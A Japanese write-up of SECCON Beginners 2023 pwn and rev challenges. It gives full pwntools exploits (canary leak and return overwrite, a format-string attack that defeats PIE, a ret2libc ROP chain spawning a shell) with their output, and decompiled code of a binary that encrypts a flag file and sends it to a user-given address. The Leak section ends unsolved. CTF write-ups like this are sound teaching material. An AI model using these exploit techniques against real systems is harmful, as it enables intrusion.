SECCON Beginners 2023 writeup
2023/06/11
#ctf #pwn #rev
SECCON Beginners 2023のwriteup

SECCON Beginners 2023にチーム0x9CBとして参加してきました。自分はpwn, rev辺りを中心に解いたので, そのwriteupをここに書いておきます.

pwn

  • poem
  • rewriter2
  • Forgot_Some_Exploit
  • Elementary_ROP

poem

脆弱性のあるバイナリとそのソースコードが与えられます.

プログラムはユーザーから番号を入力として受け取り, 対応するpoemを表示するような動作をします.

ソースコードは以下です.

src.c

#include <stdio.h>
#include <unistd.h>

char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
    "In the depths of silence, the universe speaks.",
    "Raindrops dance on windows, nature's lullaby.",
    "Time weaves stories with the threads of existence.",
    "Hearts entwined, two souls become one symphony.",
    "A single candle's glow can conquer the darkest room.",
};

int main() {
  int n;
  printf("Number[0-4]: ");
  scanf("%d", &n);
  if (n < 5) {
    printf("%s\n", poem[n]);
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

コードを見ると, ユーザーからの入力nにマイナス値も許容されていることが分かります. printfのところでpoem[n]があるので, マイナス値を入力するとここで範囲外アクセスが可能です.

さらにpoemとフラグを格納している配列flagは連続したメモリ領域に並んでいることから, 適当なマイナス値を入れてあげればflagが出力されます.

❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -1
Segmentation fault

❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -2
Segmentation fault

❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -3
Segmentation fault

❯ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

rewriter2

脆弱性のあるバイナリとそのソースコードが与えられます.

プログラムはユーザーから名前と年齢を受け取り, スタックの中身を一部表示してくれます.

❯ ./rewriter2

 [Addr]             | [Value]
====================+===================
 0x00007ffca8c2c210 | 0x0000000000000000  <- buf
 0x00007ffca8c2c218 | 0x00007fe3dca856a0
 0x00007ffca8c2c220 | 0x0000000000000000
 0x00007ffca8c2c228 | 0x00007fe3dc92a085
 0x00007ffca8c2c230 | 0x0000000000000000
 0x00007ffca8c2c238 | xxxxx hidden xxxxx  <- canary
 0x00007ffca8c2c240 | 0x0000000000000001  <- saved rbp
 0x00007ffca8c2c248 | 0x00007fe3dc8cc850  <- saved ret addr
 0x00007ffca8c2c250 | 0x0000000000000000
 0x00007ffca8c2c258 | 0x00000000004011f6

What's your name? AAAA
Hello, AAAA


 [Addr]             | [Value]
====================+===================
 0x00007ffca8c2c210 | 0x0000000a41414141  <- buf
 0x00007ffca8c2c218 | 0x00007fe3dca856a0
 0x00007ffca8c2c220 | 0x0000000000000000
 0x00007ffca8c2c228 | 0x00007fe3dc92a085
 0x00007ffca8c2c230 | 0x0000000000000000
 0x00007ffca8c2c238 | xxxxx hidden xxxxx  <- canary
 0x00007ffca8c2c240 | 0x0000000000000001  <- saved rbp
 0x00007ffca8c2c248 | 0x00007fe3dc8cc850  <- saved ret addr
 0x00007ffca8c2c250 | 0x0000000000000000
 0x00007ffca8c2c258 | 0x00000000004011f6

How old are you? AAAA
Thank you!

 [Addr]             | [Value]
====================+===================
 0x00007ffca8c2c210 | 0x0000000a41414141  <- buf
 0x00007ffca8c2c218 | 0x00007fe3dca856a0
 0x00007ffca8c2c220 | 0x0000000000000000
 0x00007ffca8c2c228 | 0x00007fe3dc92a085
 0x00007ffca8c2c230 | 0x0000000000000000
 0x00007ffca8c2c238 | xxxxx hidden xxxxx  <- canary
 0x00007ffca8c2c240 | 0x0000000000000001  <- saved rbp
 0x00007ffca8c2c248 | 0x00007fe3dc8cc850  <- saved ret addr
 0x00007ffca8c2c250 | 0x0000000000000000
 0x00007ffca8c2c258 | 0x00000000004011f6

ご丁寧にバッファの開始位置, Stack canaryの位置, RBPの位置, リターンアドレスの位置を表示してくれます.

バイナリのセキュリティ機構は以下のようになっています.

> checksec ./rewriter2
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

ソースコードは以下のようになっています.

src.cpp

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x20
#define READ_SIZE 0x100

void __show_stack(void *stack);

int main() {
  char buf[BUF_SIZE];
  __show_stack(buf);

  printf("What's your name? ");
  read(0, buf, READ_SIZE);
  printf("Hello, %s\n", buf);

  __show_stack(buf);

  printf("How old are you? ");
  read(0, buf, READ_SIZE);
  puts("Thank you!");

  __show_stack(buf);
  return 0;
}

void win() {
  puts("Congratulations!");
  system("/bin/sh");
}

void __show_stack(void *stack) {
  unsigned long *ptr = stack;
  printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
  puts("====================+===================");
  for (int i = 0; i < 10; i++) {
    if (&ptr[i] == stack + BUF_SIZE + 0x8) {
      printf(" 0x%016lx | xxxxx hidden xxxxx  <- canary\n",
             (unsigned long)&ptr[i]);
      continue;
    }

    printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
    if (&ptr[i] == stack)
      printf(" <- buf");
    if (&ptr[i] == stack + BUF_SIZE + 0x10)
      printf(" <- saved rbp");
    if (&ptr[i] == stack + BUF_SIZE + 0x18)
      printf(" <- saved ret addr");
    puts("");
  }
  puts("");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

コードを見るとユーザーからの入力を受け取るreadの部分にREAD_SIZE - BUF_SIZE分のBuffer Overflow脆弱性があることが分かります. また, winという関数を呼び出すことでフラグを表示できることが分かります.

なので, やる事としてはBuffer Overflow脆弱性を利用してリターンアドレスをwin関数へのアドレスに書き換え, フラグを表示させるという流れになります. ただしこのプログラムではStack canaryが有効になっているので, Stack canaryの値をまずリークさせ, その後にStack canaryの値を書き換えないようにしながらリターンアドレスを書き換えます.

Stack canaryは最初のreadにおいて, stack canaryの直前までAAAA...などの適当な文字列でバッファを埋めてヌル文字を消してあげることで, 次の行のprintfでリークさせることが出来ます.

次にリークされたStack canaryの値を含めつつ, リターンアドレスをwin関数へのアドレスに書き換えます.

exploit.py

from pwn import *

elf = context.binary = ELF("./rewriter2")
p = remote("rewriter2.beginners.seccon.games", 9001)

BUF_SIZE = 0x20

info(p.clean())

# まずcanaryをリークさせる. Canaryの末尾(00)の部分までAで埋めることでヌル文字を消し, printfでcanaryを表示させる.
payload = flat(
    b'A' * (BUF_SIZE + 9)
)
p.send(payload)

# Hello, AAAAAの部分の文字列
info(p.recv(7 + BUF_SIZE + 8))

# リークされた文字列からcanaryを取得する. canaryの末尾が41(A)になっているので, 00に戻してあげる.
canary = bytearray(p.recv(8))
canary[0] = 0
canary = unpack(canary)

info(p.clean())

info(f"Canary: {hex(canary)}")

# ret addrを書き換えてwinを呼び出す
payload = flat(
    b'A' * (BUF_SIZE + 8),
    canary,
    0, # rbp
    0x004012d6  # winのputsがcallされてしまうとsegfaultしてしまうので, 直接systemを呼び出す直前まで飛ばす
)
p.send(payload)

info(p.clean())

p.interactive()

実行すると以下のようになります.

[*]
     [Addr]             | [Value]
    ====================+===================
     0x00007fffcbd2ef80 | 0x00007f59f89d42e8  <- buf
     0x00007fffcbd2ef88 | 0x00000000004014e0
     0x00007fffcbd2ef90 | 0x0000000000000000
     0x00007fffcbd2ef98 | 0x0000000000401110
     0x00007fffcbd2efa0 | 0x00007fffcbd2f0a0
     0x00007fffcbd2efa8 | xxxxx hidden xxxxx  <- canary
     0x00007fffcbd2efb0 | 0x0000000000000000  <- saved rbp
     0x00007fffcbd2efb8 | 0x00007f59f8807083  <- saved ret addr
     0x00007fffcbd2efc0 | 0x00007f59f8a06620
     0x00007fffcbd2efc8 | 0x00007fffcbd2f0a8

    What's your name?
[*] Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*]

     [Addr]             | [Value]
    ====================+===================
     0x00007fffcbd2ef80 | 0x4141414141414141  <- buf
     0x00007fffcbd2ef88 | 0x4141414141414141
     0x00007fffcbd2ef90 | 0x4141414141414141
     0x00007fffcbd2ef98 | 0x4141414141414141
     0x00007fffcbd2efa0 | 0x4141414141414141
     0x00007fffcbd2efa8 | xxxxx hidden xxxxx  <- canary
     0x00007fffcbd2efb0 | 0x0000000000000000  <- saved rbp
     0x00007fffcbd2efb8 | 0x00007f59f8807083  <- saved ret addr
     0x00007fffcbd2efc0 | 0x00007f59f8a06620
     0x00007fffcbd2efc8 | 0x00007fffcbd2f0a8

    How old are you?
[*] Canary: 0xdf8a881952c2c100
[*] Thank you!

     [Addr]             | [Value]
    ====================+===================
     0x00007fffcbd2ef80 | 0x4141414141414141  <- buf
     0x00007fffcbd2ef88 | 0x4141414141414141
     0x00007fffcbd2ef90 | 0x4141414141414141
     0x00007fffcbd2ef98 | 0x4141414141414141
     0x00007fffcbd2efa0 | 0x4141414141414141
     0x00007fffcbd2efa8 | xxxxx hidden xxxxx  <- canary
     0x00007fffcbd2efb0 | 0x0000000000000000  <- saved rbp
     0x00007fffcbd2efb8 | 0x00000000004012d6  <- saved ret addr
     0x00007fffcbd2efc0 | 0x00007f59f8a06620
     0x00007fffcbd2efc8 | 0x00007fffcbd2f0a8

[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

Forgot_Some_Exploit

脆弱性のあるバイナリとソースコードが与えられます.

プログラムはユーザーからの入力を受け取り, それをそのまま出力します.

❯ ./chall
a
a
b
b
Bye!

バイナリのセキュリテイ機構は以下のようになっています.

> checksec ./chall
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

rewriter2とは違ってPIEが有効であることに注意します.

ソースコードは以下のようになっています.

src.cpp

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 0x100

void win() {
  FILE *f = fopen("flag.txt", "r");
  if (!f)
    err(1, "Flag file not found...\n");
  for (char c = fgetc(f); c != EOF; c = fgetc(f))
    putchar(c);
}

void echo() {
  char buf[BUFSIZE];
  buf[read(0, buf, BUFSIZE - 1)] = 0;
  printf(buf);
  buf[read(0, buf, BUFSIZE - 1)] = 0;
  printf(buf);
}

int main() {
  echo();
  puts("Bye!");
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

echoという関数の中でフォーマット指定子を使わずにprintfしている箇所が2箇所あるので, ここでFormat string attackが可能です.

流れとしてはまず最初のprintfでELFのbase addressをリークさせ, 次のprintfechoのリターンアドレスをmainではなくwinになるように書き換えます.

適当に%pしまくった結果, 最初のprintf%39$p, %40$p, %41$pを入力してあげることでstack canary, rbp, return addressを表示出来ることが分かります. echoのリターンアドレスはmain関数中の命令に対応しているので, main関数の始まりからのオフセットを引いてあげることで, main関数の実開始アドレスを求めることが出来ます.

オフセットはradare2で調べられます.

❯ r2 -d -A ./chall
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- You crackme up!
[0x7fdaf5ebcd70]> s main
[0x55fee2b482de]> pdf
            ; DATA XREF from entry0 @ 0x55fee2b480f8
┌ 36: int main (int argc, char **argv, char **envp);
│           0x55fee2b482de      55             push rbp
│           0x55fee2b482df      4889e5         mov rbp, rsp
│           0x55fee2b482e2      b800000000     mov eax, 0
│           0x55fee2b482e7      e857ffffff     call sym.echo
│           0x55fee2b482ec      488d05340d00.  lea rax, str.Bye_       ; 0x55fee2b49027 ; "Bye!"
│           0x55fee2b482f3      4889c7         mov rdi, rax
│           0x55fee2b482f6      e845fdffff     call sym.imp.puts       ; int puts(const char *s)
│           0x55fee2b482fb      b800000000     mov eax, 0
│           0x55fee2b48300      5d             pop rbp
└           0x55fee2b48301      c3             ret

echoのリターンアドレスはlea rax, str.Bye_の部分になるので, オフセットは0xeであることが分かります.

main関数の実アドレスが分かったので, 後はmain関数のバイナリ中におけるオフセットを引いてあげることで, ELFのbase addressが分かります. オフセットはreadelfで調べられます.

❯ readelf -s ./chall | grep main
    43: 00000000000012de    36 FUNC    GLOBAL DEFAULT   15 main

ELFのbase addressが分かったらwin関数の実アドレスも分かるので, 後はFormat string attackを使ってwin関数を呼び出すようにするだけです.

攻撃コードは以下のようになります.

exploit.py

from pwn import *

elf = context.binary = ELF("./chall")
p = remote("forgot-some-exploit.beginners.seccon.games", 9002)

# bufferは6つ目の%pから始まる
# %p %p %p %p %p %p(buffer)
BUF_OFFSET = 6
BUF_SIZE = 0x100

# PIEが有効なので, まずbinaryのbase addressを調べる必要がある.
# %pしまくって調べた結果
# %39$p - canary
# %40$p - rbp
# %41$p - ret addr(main関数内の途中)

# これを使ってelfのbase addressとcanaryを求める.
payload = flat(
    "%39$p\n%40$p\n%41$p\n"
)
p.send(payload)

canary_leak = int(p.recvuntil("\n"), 16)
rbp_leak = int(p.recvuntil("\n"), 16)
# ret addrはmain関数の途中の命令なので, 0xeだけオフセットを引いてあげてmain関数の始まりのアドレスを計算する
# 0xeはradare2でアセンブリ表示して計算した
main_leak = int(p.recvuntil("\n"), 16) - 0xe
elf_base = main_leak - elf.sym["main"]
elf.address = elf_base
print(f"ELF base: {hex(elf.address)}")
print(f"Canary: {hex(canary_leak)}")
print(f"RBP: {hex(rbp_leak)}")

# format string attackを利用してwin関数を呼び出す
# rbp - 8がret addrなので, そこにwin関数のアドレスを書き込む
# rbpも書き込んであげないとremoteだと動かなかった
ret_addr = rbp_leak - 8
canary_addr = rbp_leak - 16
payload = fmtstr_payload(
    BUF_OFFSET, {ret_addr: elf.sym["win"], rbp_leak: rbp_leak}
)
p.send(payload)

info(p.clean())

実行すると以下のようになります.

ELF base: 0x556535c64000
Canary: 0xa9161712ce289400
RBP: 0x7ffdc0ace800
  self._log(logging.INFO, message, args, kwargs, 'info')
[*]                                                                                                                               à                                            ÿ                           1                              ì                    %                                                       1                           h   2               0                                                                                                nactf4b{4ny_w4y_y0u_w4nt_1t}
    Segmentation fault
[*] Closed connection to forgot-some-exploit.beginners.seccon.games port 9002

Elementary_ROP

バイナリとソースコード, サーバー上で使われているlibcのバイナリが与えられます. 問題名から分かるとおり, Return Oriented Programming(ROP)を用いる問題です.

プログラムはユーザーからの入力を受け取り, バッファに入力内容を格納するだけのシンプルなプログラムです.

バイナリのセキュリティ機構は以下の通りです.

> checksec ./chall
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

ソースコードは以下のようになっています.

src.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

void gadget() {
    asm("pop %rdi; ret");
}

int main() {
    char buf[0x20];
    printf("content: ");
    gets(buf);
    return 0;
}

__attribute__((constructor))
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

getsの部分にBuffer Overflow脆弱性があることが分かります. またgadgetという関数の中にROP用のpop rdi; retというアセンブリが含まれていることが分かります. このガジェットを用いることで, ある関数の1番目の引数に自由に値をセットして呼び出すことが出来ます.

このプログラムでは以前の問題と違い, フラグを出力してくれるwin関数のようなユーティリティは含まれていません. なので, ROPを使ってsystem("/bin/sh")を呼び出すのが目標となります.

サーバー上ではASLRが有効なので, まずlibcのbase addressをリークさせます. これはret2pltを用いてprintfの実アドレスをリークさせることで行えます.

その後にsystem"/bin/sh"という文字列への実アドレスを計算し, ROPを用いてsystem("/bin/sh")を呼び出します.

攻撃コードは以下のようになります.

from pwn import *

elf = context.binary = ELF("./chall")
# libc = elf.libc
libc = ELF("./libc.so.6")
# p = process()
p = remote("elementary-rop.beginners.seccon.games", 9003)

BUF_SIZE = 0x20

# ROP gadget
POP_RDI_RET = 0x40115a
RET = 0x40101a

info(p.clean())

# ROPを使ってsystem("/bin/sh")を呼び出すことが目標となる
# gadghetはPOP_RDI_RETしか含まれていないので, 引数1個の関数しか呼び出せない

# 1 - サーバー上ではASLRが有効なので, ret2pltを用いてprintfのアドレスをリークさせる
# RETを加えてあげないとうまく動かなかった(https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call)
# 64bit環境だとretを使ってstackをalighmentしてあげないとsegfaultするらしい
payload = flat(
    b'A' * (BUF_SIZE + 8),
    RET,
    POP_RDI_RET,
    elf.got["printf"],
    elf.plt["printf"],
    RET,
    elf.sym["main"]
)
p.sendline(payload)

printf_leak = unpack(p.recv(6) + b"\x00\x00")
info(f"printf_leak: {hex(printf_leak)}")

# printfのリークされたアドレスを元にlibcのベースアドレスを計算
libc_base = printf_leak - libc.sym["printf"]
info(f"libc_base: {hex(libc_base)}")
libc.address = libc_base

info(p.clean())

# 2 - system("/bin/sh")を呼び出す
payload = flat(
    b'A' * (BUF_SIZE + 8),
    RET,
    POP_RDI_RET,
    next(libc.search(b"/bin/sh")),
    libc.sym["system"],
)
p.sendline(payload)

info(p.clean())

p.interactive()

実行すると以下のようになります.

[*] content:
[*] printf_leak: 0x7f3e5ea2f770
[*] libc_base: 0x7f3e5e9cf000
[*] content:
[*]
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{br34k_0n_thr0ugh_t0_th3_0th3r_51d3}

rev

  • Poker
  • Leak

Poker

Ghidraでバイナリを解析してみます. 変数名や引数名などは分かりやすくなるように適当に変えています.

undefined8 main(void)

{
  undefined4 uVar1;
  int game_count;
  int score;
  
  score = 0;
  puts_indian_poker();
  game_count = 0;
  while( true ) {
    if (0x62 < game_count) {
      return 0;
    }
    puts_score(score);
    uVar1 = get_user_input();
    score = play_poker(score,uVar1);
    if (99 < score) break;
    game_count = game_count + 1;
  }
  show_flag();
  return 0;
}

show_flagという関数を呼び出せば良さそうです. このプログラムは起動すると0x62 = 98回ゲームをプレイ出来るのですが, show_flagが呼ばれるのはscoreが99以上のときに限られます. これは普通にプレイしていると絶対不可能なので, gdbやradare2などの動的解析ツールを用いて, 実行中にscoreの値を100以上に書き換えます. ここではradare2を使います.

まず, if (99 < score) breakの部分にbreak pointを貼ります.

❯ r2 -d -A ./poker
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- Sorry, radare2 has experienced an internal error.
[0x7f79fc744d70]> s main
[0x563e424a0262]> pdf
            ; DATA XREF from entry0 @ 0x563e4249f0d1
┌ 114: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_8h @ rbp-0x8
│           ; var int64_t var_4h @ rbp-0x4
│           0x563e424a0262      f30f1efa       endbr64
│           0x563e424a0266      55             push rbp
│           0x563e424a0267      4889e5         mov rbp, rsp
│           0x563e424a026a      4883ec10       sub rsp, 0x10
│           0x563e424a026e      c745fc000000.  mov dword [var_4h], 0
│           0x563e424a0275      b800000000     mov eax, 0
│           0x563e424a027a      e844ffffff     call 0x563e424a01c3
│           0x563e424a027f      c745f8000000.  mov dword [var_8h], 0
│       ┌─< 0x563e424a0286      eb3f           jmp 0x563e424a02c7
│      ┌──> 0x563e424a0288      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x563e424a028b      89c7           mov edi, eax
│      ╎│   0x563e424a028d      e890ffffff     call 0x563e424a0222
│      ╎│   0x563e424a0292      b800000000     mov eax, 0
│      ╎│   0x563e424a0297      e8ddfeffff     call 0x563e424a0179
│      ╎│   0x563e424a029c      8945f4         mov dword [var_ch], eax
│      ╎│   0x563e424a029f      8b55f4         mov edx, dword [var_ch]
│      ╎│   0x563e424a02a2      8b45fc         mov eax, dword [var_4h]
│      ╎│   0x563e424a02a5      89d6           mov esi, edx
│      ╎│   0x563e424a02a7      89c7           mov edi, eax
│      ╎│   0x563e424a02a9      e809fdffff     call 0x563e4249ffb7
│      ╎│   0x563e424a02ae      8945fc         mov dword [var_4h], eax
│      ╎│   0x563e424a02b1      837dfc63       cmp dword [var_4h], 0x63
│     ┌───< 0x563e424a02b5      7e0c           jle 0x563e424a02c3
│     │╎│   0x563e424a02b7      e8e4eeffff     call 0x563e4249f1a0
│     │╎│   0x563e424a02bc      b800000000     mov eax, 0
│    ┌────< 0x563e424a02c1      eb0f           jmp 0x563e424a02d2
│    │└───> 0x563e424a02c3      8345f801       add dword [var_8h], 1
│    │ ╎│   ; CODE XREF from main @ 0x563e424a0286
│    │ ╎└─> 0x563e424a02c7      837df862       cmp dword [var_8h], 0x62
│    │ └──< 0x563e424a02cb      7ebb           jle 0x563e424a0288
│    │      0x563e424a02cd      b800000000     mov eax, 0
│    │      ; CODE XREF from main @ 0x563e424a02c1
│    └────> 0x563e424a02d2      c9             leave
└           0x563e424a02d3      c3             ret
[0x563e424a0262]> db 0x563e424a02b1

プログラムをbreak pointの部分まで実行し, そこでscoreに相当する[var_4h]を100以上になるように書き換えます. スタック内での[var_4h]の位置はpdfで表示されるvar int64_t var_4h @ rbp-0x4から分かります.

[0x563e424a0262]> dc

██╗███╗   ██╗██████╗ ██╗ █████╗ ███╗   ██╗    ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
██║████╗  ██║██╔══██╗██║██╔══██╗████╗  ██║    ██╔══██╗██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗
██║██╔██╗ ██║██║  ██║██║███████║██╔██╗ ██║    ██████╔╝██║   ██║█████╔╝ █████╗  ██████╔╝
██║██║╚██╗██║██║  ██║██║██╔══██║██║╚██╗██║    ██╔═══╝ ██║   ██║██╔═██╗ ██╔══╝  ██╔══██╗
██║██║ ╚████║██████╔╝██║██║  ██║██║ ╚████║    ██║     ╚██████╔╝██║  ██╗███████╗██║  ██║
╚═╝╚═╝  ╚═══╝╚═════╝ ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝    ╚═╝      ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═

================
| Score :   0  |
================

[?] Enter 1 or 2: 1
[+] It's a tie! Your score is reseted...
hit breakpoint at: 0x563e424a02b1
[0x563e424a02b1]> pxw @ rbp-0x4
0x7ffda1382eec  0x00000000 0x00000001 0x00000000 0xfc535850  ............PXS.
0x7ffda1382efc  0x00007f79 0xa1382ff0 0x00007ffd 0x424a0262  y..../8.....b.JB
0x7ffda1382f0c  0x0000563e 0x4249e040 0x00000001 0xa1383008  >V..@.IB.....08.
0x7ffda1382f1c  0x00007ffd 0xa1383008 0x00007ffd 0x8ca78372  .....08.....r...
0x7ffda1382f2c  0x6c652273 0x00000000 0x00000000 0xa1383018  s"el.........08.
0x7ffda1382f3c  0x00007ffd 0xfc75d000 0x00007f79 0x00000000  ......u.y.......
0x7ffda1382f4c  0x00000000 0xd2a58372 0x939e6003 0x3cad8372  ....r....`..r..<
0x7ffda1382f5c  0x9296dad5 0x00000000 0x00000000 0x00000000  ................
0x7ffda1382f6c  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffda1382f7c  0x00000000 0xa1383018 0x00007ffd 0xe22ab800  .....08.......*.
0x7ffda1382f8c  0xf39fd19c 0x00000000 0x00000000 0xfc53590a  .............YS.
0x7ffda1382f9c  0x00007f79 0x424a0262 0x0000563e 0x00000000  y...b.JB>V......
0x7ffda1382fac  0x00007ffd 0xfc75e2c0 0x00007f79 0x00000000  ......u.y.......
0x7ffda1382fbc  0x00000000 0x00000000 0x00000000 0x4249f0b0  ..............IB
0x7ffda1382fcc  0x0000563e 0xa1383000 0x00007ffd 0x00000000  >V...08.........
0x7ffda1382fdc  0x00000000 0x00000000 0x00000000 0x4249f0de  ..............IB

pxw @ rbp-0x4で出力される最初の部分がscoreの値です. 現在は負けたので0になっていることが分かります. ここを100以上になるように書き換えます.

[0x563e424a02b1]> wx 41414141 @ rbp-0x4
[0x563e424a02b1]> pxw @ rbp-0x4
0x7ffda1382eec  0x41414141 0x00000001 0x00000000 0xfc535850  AAAA........PXS.
0x7ffda1382efc  0x00007f79 0xa1382ff0 0x00007ffd 0x424a0262  y..../8.....b.JB
0x7ffda1382f0c  0x0000563e 0x4249e040 0x00000001 0xa1383008  >V..@.IB.....08.
0x7ffda1382f1c  0x00007ffd 0xa1383008 0x00007ffd 0x8ca78372  .....08.....r...
0x7ffda1382f2c  0x6c652273 0x00000000 0x00000000 0xa1383018  s"el.........08.
0x7ffda1382f3c  0x00007ffd 0xfc75d000 0x00007f79 0x00000000  ......u.y.......
0x7ffda1382f4c  0x00000000 0xd2a58372 0x939e6003 0x3cad8372  ....r....`..r..<
0x7ffda1382f5c  0x9296dad5 0x00000000 0x00000000 0x00000000  ................
0x7ffda1382f6c  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x7ffda1382f7c  0x00000000 0xa1383018 0x00007ffd 0xe22ab800  .....08.......*.
0x7ffda1382f8c  0xf39fd19c 0x00000000 0x00000000 0xfc53590a  .............YS.
0x7ffda1382f9c  0x00007f79 0x424a0262 0x0000563e 0x00000000  y...b.JB>V......
0x7ffda1382fac  0x00007ffd 0xfc75e2c0 0x00007f79 0x00000000  ......u.y.......
0x7ffda1382fbc  0x00000000 0x00000000 0x00000000 0x4249f0b0  ..............IB
0x7ffda1382fcc  0x0000563e 0xa1383000 0x00007ffd 0x00000000  >V...08.........
0x7ffda1382fdc  0x00000000 0x00000000 0x00000000 0x4249f0de  ..............IB

score = 0x41414141としました. プログラムを続行させるとフラグが表示されます.

[0x563e424a02b1]> dc
[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
(52569) Process exited with status=0x0

Leak

バイナリとpcapファイルが与えられます.

Ghidraでバイナリを解析してみます. 変数名は分かりやすくなるように適当に書き換えています.

undefined8 main(void)

{
  int sock;
  int iVar1;
  char *input_read_bytes;
  undefined8 ret;
  FILE *flag_file;
  size_t input_length;
  ssize_t sVar2;
  long in_FS_OFFSET;
  undefined local_438 [4];
  undefined local_434 [11];
  char input [17];
  char flag_buffer [1032];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter IP address: ");
  input_read_bytes = fgets(input + 1,0x10,stdin);
  if (input_read_bytes == (char *)0x0) {
    perror("Failed to read IP address");
    ret = 1;
  }
  else {
    input_length = strlen(input + 1);
    if ((input_length != 0) && (input[input_length] == '\n')) {
      input[input_length] = '\0';
    }
    flag_file = fopen("/tmp/flag","r");
    if (flag_file == (FILE *)0x0) {
      perror("Failed to open file");
      ret = 1;
    }
    else {
      input_length = fread(flag_buffer,1,0x400,flag_file);
      fclose(flag_file);
      strlen("KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}");
      encrypt(flag_buffer,(int)input_length);
      sock = socket(2,1,0);
      if (sock == -1) {
        perror("Failed to create socket");
        ret = 1;
      }
      else {
        local_438._0_2_ = 2;
        local_438._2_2_ = htons(5000);
        iVar1 = inet_pton(2,input + 1,local_434);
        if (iVar1 < 1) {
          perror("Invalid address/Address not supported");
          ret = 1;
        }
        else {
          iVar1 = connect(sock,(sockaddr *)local_438,0x10);
          if (iVar1 == -1) {
            perror("Failed to connect to server");
            ret = 1;
          }
          else {
            sVar2 = send(sock,flag_buffer,input_length,0);
            if (sVar2 == -1) {
              perror("Failed to send data");
              ret = 1;
            }
            else {
              puts("Data sent successfully");
              close(sock);
              ret = 0;
            }
          }
        }
      }
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return ret;
}

まずユーザーからIP addressを受け取り, /tmp/flagの中身をencryptという関数で暗号化し, 暗号化した結果をsocketを用いて送信していることが分かります. 与えられたpcapファイルはこのsocket通信の内容をキャプチャしたものです. なのでpcapファイルをWiresharkなどのツールで解析することで, 暗号化されたフラグを抜き出すことが出来ます.

encrypt関数は以下のようになっています.

void encrypt(char *flag,int length)

{
  ulong key_length;
  long key;
  undefined4 in_register_00000034;
  long in_FS_OFFSET;
  byte jj;
  byte ii;
  uint i;
  uint j;
  byte seed [264];
  long local_10;
  byte temp;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  for (i = 0; i < 0x100; i = i + 1) {
    seed[i] = (char)i + 0x35;
  }
  j = 0;
  for (i = 0; i < 0x100; i = i + 1) {
    j = (uint)seed[i] + *(byte *)(key + (ulong)i % key_length) + j & 0xff;
    temp = seed[i];
    seed[i] = seed[j];
    seed[j] = temp;
  }
  ii = 0;
  jj = 0;
  for (i = 0; (ulong)i < CONCAT44(in_register_00000034,length); i = i + 1) {
    jj = jj + 1;
    ii = ii + seed[(int)(uint)jj];
    temp = seed[(int)(uint)jj];
    seed[(int)(uint)jj] = seed[(int)(uint)ii];
    seed[(int)(uint)ii] = temp;
    flag[i] = flag[i] ^ seed[(int)(uint)(byte)(seed[(int)(uint)ii] + seed[(int)(uint)jj])];
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

